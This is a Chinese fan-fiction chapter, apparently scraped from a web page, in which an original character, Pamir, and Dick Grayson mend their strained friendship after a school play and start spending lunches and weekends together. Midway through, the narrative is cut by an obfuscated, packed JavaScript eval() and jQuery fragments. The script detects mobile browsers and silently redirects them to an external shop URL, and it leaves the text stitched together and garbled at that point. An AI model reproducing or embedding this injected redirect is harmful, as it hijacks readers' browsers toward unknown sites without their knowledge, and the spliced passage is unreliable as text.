谢幕后的后台像一锅刚关火的热汤。
热气还在往上冒，咕嘟声还没完全消停，但那股紧绷的劲儿已经泄了。演员们在走廊里互相拍肩膀，有人抱着一束花从侧门走进来，有人瘫在折叠椅上盯着天花板发呆，嘴角还挂着没散尽的舞台笑。
帕米尔站在控台间的门口，手里攥着一卷还没收好的电线，看了一会儿那些散场的人，张望了一下四周。
奇怪，迪克呢？刚才不是他在喊他吗？
算了，先把电源线理完再走吧，反正他真有什么要紧事会再过来的。
他转身回去把线绕好，推子归位，剧本叠整齐塞进工具柜里。做这些事的时候他动作不快，露出一丝慢悠悠的慵懒劲儿。手指绕过电线的时候他低头看了一眼——指尖在微微发麻，说不清是紧张的后劲还是别的什么。
然后他听到门口有人站住了。
帕米尔回头。迪克靠在控台间的门框上，戏服还没换。
衬衫下摆半截扎在裤腰里半截垂在外面，额前的头发比他上台前更乱了。
他没戴眼罩，但脸上留着一点舞台妆的痕迹，眼尾有一道比肤色深一点的线，让他的蓝眼睛在灯光下显得比平时更加深邃。
他站在那儿，没有往里走，也没有开口。几秒钟的沉默里能听到走廊里有人推门出去，那扇门合上时发出很轻的"砰"。
迪克终于舍得开口了："我们得谈谈。"
？
帕米尔停下手里的动作看着他。
他知道迪克很严肃，这应该是一段认真的对话，但是……
？我的天哪，有其父必有其子，如此蝙蝠侠的行为，如此蝙蝠侠的话！这就是初代罗宾和蝙蝠侠的相似度吗？
迪克的脸上没有刚才谢幕时那种笑——那种迪克式的、阳光铺满整张脸的、属于舞台上那个男孩的笑。他的目光垂在帕米尔身前几步的地板上，目光没有落点，好像只是在看一块木纹。
这让他显得有些蔫蔫的，像一只被淋湿的小动物。
帕米尔看着他，心里"哦"了一声。
这开场白的传承比罗宾制服还到位。那种"我需要和你说话"的句式，布鲁斯在迪克面前大概没少用。而迪克把它学过来了，一模一样，连语气里的顿点都像。
帕米尔想接一句玩笑把气氛拨回原来的轨道，但他看了一眼迪克的表情，又觉得这个时候开一个关于他养父的玩笑好像不太对。
帕米尔斟酌了一下。
"你打算站门口谈？"帕米尔把最后那卷线放在桌面上，站起来，"——还是找个房间？"
迪克没有接他的玩笑。他侧了一下身，朝走廊尽头抬了抬下巴。"那边有个空的化妆间。道具组老师在收东西，那边没人。"
帕米尔走过去的时候经过迪克身边。他们之间隔着半步的距离，迪克没有动，但帕米尔能感觉到他的视线跟着自己从控台间门口到走廊。两个人的脚步踩在走廊的木地板上，一前一后，中间隔了半步。
道具组老师在走廊尽头锁门，抬头看到他们两个，点头打了个招呼："还不走？"
"收拾东西。"帕米尔说。
老师走了。走廊安静下来，声控灯在他们走过之后陆续熄灭了，只剩前面化妆间门口那盏还亮着。
迪克推开门，伸手按亮了里面的灯。灯管闪了一下才稳住，发出持续的嗡嗡声，那种老旧镇流器的声音在安静的小房间里听起来比平时更响。
化妆间不大，一张贴了镜子的化妆桌，两把叠在一起的椅子，墙角立着一个衣架，上面挂着一件落灰的斗篷——不知道哪年的道具没收走，袖口上还有一圈人造皮草。墙上贴着一张去年的演出海报，《绿野仙踪》的字体褪成了泛黄的粉色。
迪克没有坐下。他走到化妆桌旁边站着，手撑在桌沿上，指尖压在木质桌面上。帕米尔走进来带上门，靠着墙站在门口附近，和他隔了大约两步的距离。
两个人之间的沉默比走廊里更长一点。能听到灯管的嗡嗡声在天花板下面填满了整个房间。
迪克先开口了。
"帕米尔，我知道朋友之间需要独立的空间。"他说这句话的时候语速比平时慢，应该是在琢磨措辞，每两个字之间的间隙比日常对话里长一些，"我不是想让你每件事都跟我说。你周末去哪，放学后做什么，你想不想说是你的事。"
当然，当然，帕米尔抱起双臂。他们两个都有自己的秘密，没有严重到让他们之间升起隔阂，但确实拉远了他们之间的距离。
这又能怎么办呢？他们谁都没有办法开口。
迪克的目光落在化妆桌的桌面上，看着自己的手指。指尖压着桌面的地方微微泛白，能看出来他手上的力道没有放轻过。
"但如果你觉得——"他换了一种说法，原来的句子走到一半的时候拐了个弯，"如果你觉得我们之间有什么东西在改变，你能不能告诉我？我……很想知道是怎么回事。"
帕米尔靠着墙没有说话。
这太难开口了，他们之间相隔的不只是秘密，还有十几个实验体的生命。
在第一个他看顾着小家伙死去的时候，他就想要给蝙蝠侠传递信息。
他不在乎将来他能不能复活了，副本听起来是很遥远的事，但是一条生命就这样真切地从他面前逝去了。
他试过很多手段，但是每次他一开口，就发现自己发不出声音；每次他提起笔，就发现他在纸张上写不出字；每次他拿出键盘，就发现自己移动不了双手。
他要怎么说出，他可怜的，弟弟妹妹们呢？
他的视线落在迪克身上，从他靠在桌沿的姿势看到他肩膀收拢的角度，再看到他指尖压在木头上发白的痕迹。
迪克等了一会儿，没有等到回答。他低头看着自己的手，然后又开口了。
"小学的时候，"他说，"咱们天天黏在一起，那时候我不知道那叫幸运……我以为那就是生活本来就该有的样子。"
他的语气和刚才谢幕的时候判若两人。
没有舞台腔，没有那种自然的、让所有人跟着他走的光亮。那层东西被卸掉了，只剩下他自己。
"上了初中之后，你忙我也忙，见面的次数变少了。我知道那是正常的，但我发现——"他顿了一下。顿的时间比他预想的长了一拍……他自己可能也没算好。
"我发现自己不太能接受。"
他说完这句话之后停住了，又抿了抿自己的嘴唇。
"我接受不了你觉得我们没以前重要了。可能你没有——但我怕你有。"他说这句话的时候声音比前面轻了一点，尾音几乎被灯管的嗡嗡声吞掉。"帕米尔，你是我最好的朋友，我希望能一直是。你——"
他抬起头来。蓝眼睛里是很安静的目光，比他刚才在舞台上任何一刻都要安静。那层冰面碎了，底下是流动的、暖的、不加修饰的东西。
他从头到尾就只是想确认这一件事。
"你也是这样想的，对吧？"
帕米尔靠着墙，安静地看他。他听完了所有的话，在那些话落定的间隙里没有打断。
帕米尔几乎是有些难以面对他了。
他总是因为一些人而伤害另一些。
他真的是没有时间吗？
不，尽管他再急切，系统也不会让任务占满他的时间，只不过在空闲下来的那些时间里，愧疚如鲠在喉。
他知道那些实验体的死亡并不怪他，但作为他们中最幸运的那个，帕米尔感到同情……也感到愧疚。这让他忽略了迪克的感受。
"你不仅是最好的。"帕米尔有点艰难地开口。
声音不大。那句话在化妆间里落下来的时候迪克有点惊喜地看着他，似乎在确认那句话的意思。帕米尔看到迪克屏住了一瞬呼吸，肩膀的线条从"紧绷"的状态里放松了那么一点点。
帕米尔顿了一下。后面的话他还在想——"你是我唯一一个会主动走过去的人""最独特，最耀眼，最重要"——那些话在他的脑子里转了半圈，到了嘴边他又收住了一部分。
他把那句话放在了剩下的停顿里。
"你是我唯一一个，"帕米尔慢慢说，"我会主动走过去的人。"
说完他偏开了一瞬视线。那句话比他自己预想的直白了一些，像剥开一层包装纸之后露出来的东西比原以为的要多。他看到化妆桌的桌角上有一道白色的漆痕，把视线放在那里停了一下，然后才转回来看迪克。
"而且你以为，我是那种会把朋友当成可替代品的人？"他笑了一下。嘴角弯起来，弧度不大。
昏暗的灯光下，帕米尔的笑容疲惫又缱绻，这让他露出了难得一见的脆弱感，但只是一瞬间，那种脆弱就消失了。
迪克看着他，那个笑让他的呼吸缓了一拍。
他往前走了一步。帕米尔靠着墙，看着他走过来。迪克在他面前停住，两个人之间的距离从两步缩到了半步以内。
帕米尔能闻到迪克戏服上的味道——舞台的灰尘、灯光烤过的布料、一点点汗，还有更底下的属于迪克自己的气味。
迪克伸出手，抓住了他的小臂。很轻，帕米尔几乎没感觉到什么重量，他像是想确认手心里的东西还是原来的形状，和他认识的那个、一起在小学天台上吃饭的帕米尔是同一个人。
"那你以后中午跟我吃饭。"迪克说，"至少午饭一起。我保证只有我们两个人，什么录像、什么复盘、什么战术讨论——都见鬼去吧。我到底为什么会让这些随时都能做的事情打扰我们的午饭？"他的语气比刚才急了一些，恢复了一点日常迪克的节奏，但那只抓着他小臂的手还没有松开。
帕米尔也没有挣开。
他忽然觉得自己之前可能想错了。他一直告诉自己要跟迪克保持一段距离——因为他预见到了自己未来要做的事，预见了他会在某个节点从迪克的生命里消失。其实他也不太确定未来会怎么样。
……他以为"保持距离"是在为迪克好。但迪克刚才那些话让他意识到，他的远离本身已经让迪克难过了。
他以为自己在保护迪克。可他保护的方式，就是让他最好的朋友觉得自己不再重要了。
"你还会演杰姆吗？"帕米尔问。
迪克愣了一下："什么？"
"你刚才那段剖白，语气跟你第二幕的台词有点像。"帕米尔说，"不过比那个真诚多了。"
迪克看着他，那个表情先是愣住，然后慢慢化开了。他笑了一下——很短的，像是嘴角被某根弦轻轻扯了一下。"你是在夸我还是在损我？"
"都有。"
迪克把抓着他小臂的手松开了。但他没有退回去，还站在原地，像是在等什么比刚才更多的回应。
帕米尔往前迈了半步。然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822017|211163||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他伸出手，手臂绕过迪克的肩膀，把他往自己这边拢了一下。动作不大，没有用力拽，就是把他拉进了一个拥抱的距离里。
迪克的肩膀僵硬了一瞬，然后慢慢放松下来。
帕米尔能感觉到迪克的呼吸从屏住的状态里慢慢平复，他的下巴搭在迪克的肩膀上，能看到迪克后脑勺那些乱翘的黑头发在灯光下面一根一根地竖着，毛茸茸的，好像刚从窝里翻出来。
"可以。"帕米尔说。他的声音比刚才闷了一点——脸埋在他肩膀上，声带震动的感觉从迪克的锁骨上面传过去。"当然可以……我的小鸟。"
他轻轻拍了拍迪克的后背。迪克比他高了一点，这个高度差让他的下巴正好搭在迪克肩窝的位置，不别扭，有一种刚刚好的凑合感。
"你永远是我最重要的朋友。"
迪克也抬起手，回抱了他。他的下巴搁在帕米尔肩膀上面，有一点点的重量，让帕米尔联想到金毛犬有时候会把脑袋靠在人的膝盖上。
哦，失落的大狗狗。帕米尔在心里想。不愧是蝙蝠家唯一一个犬系，到底谁能忍得住不对他心软啊。
他忍不住笑了一下，然后他感觉到迪克的下巴在他肩膀上轻轻地压了一下，像是在用那个动作说"你笑什么"。
"没什么。"帕米尔说，"你先松开，我腿麻了。"
此乃谎言。
他腿不麻，他只是觉得再抱下去他自己脸上那点表情要兜不住了。
"那我们说好了？"迪克问。
"说好了。"
"中午一起吃饭——"
"嗯。"
"周末一起出来——"
"嗯。"
"你先把衣服换了再说。"帕米尔指了指他歪着的衬衫下摆，"你这一半在里面一半在外面，跟刚打了一架似的。"
迪克低头看了看自己的衬衫，伸手扯了扯下摆，把它拽平了一点。"这叫舞台效果。"
"舞台效果是台上有，台下没有。去换。"
迪克往外走了两步。走到门口的时候他停下来，转过身，没有走进走廊。
"帕米尔。"
"嗯？"
"谢谢。"
帕米尔看着他站在化妆间门口，灯光从他背后照过来，把他整个人镀了一层暖色的边。和八岁的时候、站在学校走廊里说"明天见"的时候差不多。
迪克笑了一下，转身走出门。脚步声在走廊里轻快地远了，那种脚尖先落地的声响随着他走远慢慢变弱，然后在走廊尽头拐角的地方完全消失了。
帕米尔抬手摸了摸自己的肩膀。刚才迪克下巴压过的地方还留着一小片暖意，就像一团下午的阳光落在那里之后不肯走，把那一小片皮肤焐热了。
他关掉灯，走了出去。
———
后面的日子开始变了一个形状。
帕米尔发现自己其实并不需要那么多"独处"的系统时间。他调整了训练的节奏，把原来散落在各处的零碎时段整合成整块，提高效率；把任务路线重新规划了一遍，绕开多余的路。系统问过他一次："宿主调整了任务执行策略。理由是？"帕米尔说："因为午休时间变重要了。"系统安静了两秒，没有追问。
迪克也学会了"腾出时间"。他说推了录像就真的推了，午饭的时候再没有其他人端着餐盘凑过来——如果有人来，迪克会抬头笑一下说"今天我跟朋友吃"。
语气客气但意思清楚，对方"啊"一声就走开了。帕米尔坐在对面看着这一幕，心想这人拒绝人的方式还挺体面的。
有时候迪克会提前几分钟到食堂，占靠窗的那张桌子。看到帕米尔走进来他就举一下手里的果汁盒，像在说"我占到位了"。阳光从窗外照进来，落在食堂桌子的塑料桌面上，把两个人的餐盘影子并排拉长。
周末他们开始一起出去。
帕米尔把系统任务排到周六上午，下午就空出来。迪克把罗宾的夜巡安排在晚上，白天的时间能留就留。
他们有时候去海边的码头看船，有时候去老城区吃那家迪克说"有全哥谭最好吃的热狗"的小摊，有时候什么地方都不去，就在韦恩庄园后院的草地上一躺，看秋天的云从头顶慢慢移过去。
有一回他们在码头边上坐着，帕米尔腿从栏杆边沿垂下去，迪克在旁边也坐着，两个人中间隔着一盒还没吃完的薯条。海风从水面上吹过来，把迪克的头发吹起来一撮，他伸手压了一下，没压住，放弃了。
"你最近好像没有以前那么忙了。"迪克说。
帕米尔想了想："我学会了不浪费多余的时间。"
"你以前浪费很多时间？"
"以前……反正多余出来的时间也不知道做些什么，所以浪费掉一些，好像也不打紧了。"
迪克没有立刻接话。他往帕米尔那边靠了靠，肩膀贴上来，两个人在码头边沿并肩坐着，膝盖挨着膝盖。他们的肩膀之间隔着两层衣服的布料，但帕米尔能感觉到迪克的体温从那个接触面传过来。
"现在呢？"
帕米尔看着海平线，有一艘货船正在远处慢慢移过去，船身在水面上拖出一道长长的白线。"现在那些多余出来的时间重新变得重要了。"
海风从水面上吹过来，带着一点咸味。
远处的船笛响了一声，低低的，像从很远另一段日子传过来。